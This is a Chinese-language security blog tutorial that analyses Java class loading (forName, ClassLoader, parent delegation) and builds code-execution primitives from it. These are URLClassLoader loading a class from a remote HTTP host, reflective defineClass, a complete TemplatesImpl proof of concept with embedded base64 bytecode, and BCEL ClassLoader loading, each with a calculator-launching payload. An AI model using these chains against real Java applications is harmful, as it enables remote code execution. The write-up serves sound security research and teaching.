Java安全之类加载分析

Java安全之类加载分析

前言

Java类加载是Java虚拟机(JVM)将类的字节码文件加载到内存,并在运行时动态创建类的过程。类加载是Java语言的核心机制之一,对于理解Java程序的执行过程至关重要。本文将介绍Java类加载的过程、测试和分析,同时探讨ClassLoader的使用、URLClassLoader的任意类加载以及defineClass方法的应用。最后,还会探讨TemplatesImpl和BCEL ClassLoader加载字节码的情况。

什么是类加载?

将类的字节码文件加载到内存中,并在运行时创建类的对象和执行类的方法的过程。

 javac是用于将源码文件.java编译成对应的字节码文件.class,其过程大致为:

1
词法和语法分析----语义分析---中间代码生成---优化---生成目标代码

类加载过程

  1. 加载(Loading):加载是指将类的字节码文件从磁盘或网络读取到内存中的过程。当程序要使用某个类时,如果该类还没有被加载到内存中,JVM会通过类加载器查找并加载类的字节码文件。加载完成后,JVM会在内存中生成一个代表该类的Class对象。

  2. 验证(Verification):验证是确保加载的类的字节码符合Java语言规范和安全性要求的过程。验证阶段包括对字节码的结构检查、语义检查、字节码的数据流分析等。

  3. 准备(Preparation):准备是为类的静态变量分配内存并设置默认初始值的过程。在这个阶段,JVM为静态变量分配了内存空间,但还没有赋予初始值。

  4. 解析(Resolution):解析是将常量池中的符号引用转换为直接引用的过程。在解析阶段,符号引用(如类、方法、字段的符号名称)会被替换为直接引用(在内存中的具体地址或指针)。

  5. 初始化(Initialization):初始化是执行类构造器()的过程,包括静态变量赋值和静态代码块的执行。在这个阶段,JVM会按照程序中的顺序执行类的静态变量赋值和静态代码块。

  6. 使用(Usage):在初始化完成之后,就可以使用类了。使用包括创建类的实例、调用类的方法等操作。当程序需要使用某个类时,虚拟机会检查该类是否已经加载和初始化,如果没有,则会触发相应的加载和初始化操作。

  7. 卸载(Unloading):在特定情况下,类可能会被从内存中卸载,释放资源。当一个类或类的Class对象不再被引用,并且没有任何其他活跃的引用链指向该类时,JVM会判定该类是可卸载的。类的卸载由垃圾回收器负责,它会在适当的时间进行类的卸载操作,释放内存资源

image

类加载测试

先写一个student类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.garck3h.ccChain3;

import java.io.Serializable;

/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/8
* @Time: 23:17
* Life is endless, and there is no end to it.
**/
public class Student implements Serializable {

public String name;
private int age;

public static int id;
static {
System.out.println("静态代码块");
}

public static void staticFunction(){
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Student(){
System.out.println("无参构造函数Student");
}

public Student(String name, int age) {
System.out.println("有参构造函数Student");
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void action(String act) {
System.out.println(act);
}
}

调用无参的构造方法 :new Student

image

调用有参的构造方法 :new Student(“张三”,18);

image

Student.staticFunction();

1
2
静态代码块
静态方法

Student.id = 18;

1
静态代码块

Class c = Student.class;

1

forName类加载分析

Class.forName(“com.garck3h.classloader.Student”);

image

调用了静态代码块,也就是说进行了初始化的操作。我们跟进去看一下是怎么实现的,发现是调用了forName0

image

继续跟进去看一下forName0

image

这上面还有一个完整版的重载的forname;name:要加载的类的全限定名;initialize:是否在加载类时执行类的静态初始化代码;loader:用于加载类的ClassLoader对象。

image

我们调用一下这个重载的forname,我们在第二个参数里面设置了false,也就是不会进行初始化。

1
2
ClassLoader clazz = ClassLoader.getSystemClassLoader();
Class.forName("com.garck3h.classloader.Student",false,clazz);

image

进行实例化;发现可以都加载了。也就是说,forname是可以手动选择是否进行初始化的,底层也是使用的ClassLoader。

1
2
3
ClassLoader clazz = ClassLoader.getSystemClassLoader();
Class<?> c = Class.forName("com.garck3h.classloader.Student",false,clazz);
c.newInstance();

image

研究ClassLoader

看一下我们之前获取到的系统当前的加载器的clazz,打印发现是Launcher里面的内置类:AppClassLoader

image

此时需要引入Java的双亲委派模型:在这个模型中,每个类加载器都有一个父类加载器,当类加载器需要加载某个类时,它会首先委托给其父类加载器进行加载,只有在父类加载器无法加载该类时,才会由当前类加载器自己去加载。

在Java中,有三种主要的类加载器:

  1. 启动类加载器(Bootstrap Class Loader):负责加载Java核心类库,它是由C++实现的,是整个类加载器层次结构的顶层。
  2. 扩展类加载器(Extension Class Loader):用来加载Java的扩展类库,默认情况下加载JAVA_HOME/jre/lib/ext目录下的类库。
  3. 应用程序类加载器(Application Class Loader):也称为系统类加载器,负责加载应用程序的类,是开发者自定义的类加载器。它通常从CLASSPATH环境变量所指定的目录或JAR文件中加载类。

当需要加载一个类时,一般会按照以下顺序进行委派:

应用程序类加载器 -> 扩展类加载器 -> 启动类加载器

image

image

跟进到ClassLoader

image

我们一直跟进(中间的忽略),发现跟到了ClassLoader的defineClass完成了类的加载

image

这部分已经是C语言写的底层了,实现的是将给定的字节码数组转换成一个类,并生成对应的Class对象。

image

ctrl+h

image

类加载机制总结

1、类加载与反序列化

类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参构造函数

2、动态类加载方法

Class.forname

初始化/不初始化

ClassLoader.loadClass不进行初始化

底层的原理,实现加载任意的类

ClassLoader–SecureClassLoader–URLClassLoader–AppClassLoader

loadClass–findClass–defineClass(从字节码加载)

URLClassLoaer任意类加载

我们实现以下从url里面加载类进行实例化。

我们先创建一个弹计算器的类,然后Javac进行编译为class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Calc {
public Calc(){
try{
Process pc = Runtime.getRuntime().exec("calc.exe");
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}

public static void main(String[] argv) {
Calc e = new Calc();
}
}

然后用python在编译好的目录起一个web

image

实现的代码

1
2
3
4
5
//URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\down\\")});
//RLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///D:\\down\\Calc.jar!/")});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://192.168.1.7/")});
Class<?> clazz = urlClassLoader.loadClass("Calc");
clazz.newInstance();

image

defineClass的使用

我们上面是跟到defineClass,然后在defineClass中直接实现了类加载。这里通过反射来调用它实现类加载。

1
2
3
4
5
6
7
ClassLoader cl = ClassLoader.getSystemClassLoader();    //获取系统类加载器
//获取defineClass方法的引用
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true); //设置访问权限为可访问
byte[] code = Files.readAllBytes(Paths.get("D:\\down\\Calc.class")); //读取字节码文件的内容,将其存储在code字节数组中
Class clazz = (Class) defineClassMethod.invoke(cl, "Calc", code, 0, code.length);//传入类名Calc、字节码数组 code、长度
clazz.newInstance();

image

这里我们就实现了传入字节码byte实现加载字节流里面的类来进行实例化,在不出网,不能调用url的时候,可以通过发送字节流来实现执行任意代码。

不出网的时候,常用的两个方法:bcel、Templatesimpl;都是使用了defineClass动态加载类。

image

我们发现ClassLoader里面的defineClass () 被调用时是没有进行初始化的,即使是写在静态代码块static的也不可以。需要使用newInstance来调用其构造方法进行实例化。

image

使用newInstance即可调用构造函数来实例化

image

这个问题需要怎么解决呢?下面我们就来说一下另外这两种方式的加载。

TemplatesImpl加载字节码

上面我们说了defineClass一般很难利用到,所以我们这里就来说一下TemplatesImpl。

在TemplatesImpl的 newTransformer是入口点

image

跟进到getTransletInstance

image

继续跟进defineTransletClasses,最终在414行里面调用了loader的defineClass

image

我们跟进去看看;发现它没有声明其作用域,所以具有默认的包级访问权限。

image

此时完整的利用链是:

1
2
3
4
5
6
7
8
9
TemplatesImpl
#newTransformer()
TemplatesImpl
#getTransletInstance()
TemplatesImpl
#defineTransletClasses()
TemplatesImpl
TransletClassLoader
#defineClass()

我们来尝试满足它的条件把该链利用起来。当走进getTransletInstance;需要满足_name不能为空null;_class需要等于 null

image

然后才可以进入到defineTransletClasses;紧接着是_bytecodes不能为空,

image

然后就是再需要一个的TransformerFactoryImpl类型的_tfactory

image

这些属性都是私有的,所以我们需要通过反射来修改。写一个方法,把修改属性的代码封装起来。只要传入对象、属性名称和要设置属性值即可。

1
2
3
4
5
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

分别设置上诉提到的四个属性的值

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("base64编码后的字节码");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}

cmd生成base64字节码文件

1
certutil -encode "Calc.class" "Calc_base64.txt"

运行后发现报错了

image

要求字节码必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

image

下面我们创建个子类来生成字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.garck3h.classloader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class ByteClass extends AbstractTranslet {
public static void main(String[] args) throws IOException {
ByteClass byteClass = new ByteClass();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public ByteClass() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

最终的POC为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.garck3h.classloader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;


public class TemplatesImplDFC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xxx");
setFieldValue(templates,"_bytecodes",new byte[][]{codes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
}

image

BCEL ClassLoader加载字节码

BCEL 提供了一种方便的方式来操作字节码,使开发人员能够在运行时生成、修改和操作字节码,从而实现对 Java 类的动态修改和定制。它也是调用 defineClass 方法加载字节码,但需要注意的是在Java 8u251以后,该类被删除。

在ClassLoader.loadClass()中,检查该类名是否包含特殊字符串”$$BCEL$$“,如果是的话,会调用 createClass 方法创建该类。

image

我们跟进createClass;此方法会查找字符串”$$BCEL$$“来确定实际类名的起始位置;然后尝试解码实际类名,将其转换为字节数组,然后返回clazz

image

紧接着就是判断如果clazz不为空,就调用defineClass来加载。

image

测试弹计算器:CalcTest.java

1
2
3
4
5
6
7
public class CalcTest {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}

test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.garck3h.classloader;


import java.io.IOException;
public class test {
public test() throws IOException {
Runtime.getRuntime().exec("calc");
diaplay();
}
public static void diaplay(){
System.out.println("hello world!");
}
}

然后将CalcTest生成BCEL形式的字节码.

一般通过BCEL提供的两个类Repository 和Utility 来利用;可以通过Repository查找已加载的类、加载新的类、获取类的信息等操作;这里用于将一个Java Class先转换成原生字节码。Utility类是BCEL提供的一个工具类,其中包含了各种用于处理字节码的实用方法。它提供了字节码转换、解码、编码、类型转换等功能;这里用于将原生的字节码转换成BCEL格式的字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.garck3h.classloader;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BCELDFC {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
//方式一:
JavaClass javaClass = Repository.lookupClass(test.class);
String code1 = Utility.encode(javaClass.getBytes(), true);
System.out.println(code1);
new ClassLoader().loadClass("$$BCEL$$" + code1).newInstance();


//方式二:
// byte[] codebyte = Files.readAllBytes(Paths.get("D:\\down\\CalcTest.class"));
// String code2 = Utility.encode(codebyte, true);
// System.out.println(code2);
// new ClassLoader().loadClass("$$BCEL$$" + code2).newInstance();
}
}

方式一:(加载的恶意类需要同一个包,否则没法识别)

image

方式二:

image

总结

1.主要分析了类加载的时候,哪些代码块是初始化的。

2.分析了forname加载的过程,发现初始化是可控的,最终底层是调用了ClassLoader进行加载。

3.分析了ClassLoader,发现最底层是defineClass进行加载

4.使用URLClassLoaer进行任意类加载;通过反射使用defineClass

5.最后研究了两种利用方式

参考:

1.https://segmentfault.com/a/1190000023876273

2.https://www.bilibili.com/video/BV16h411z7o9?p=4

3.https://juejin.cn/post/6844903838927814669

4.https://blog.csdn.net/Thunderclap_/article/details/128901126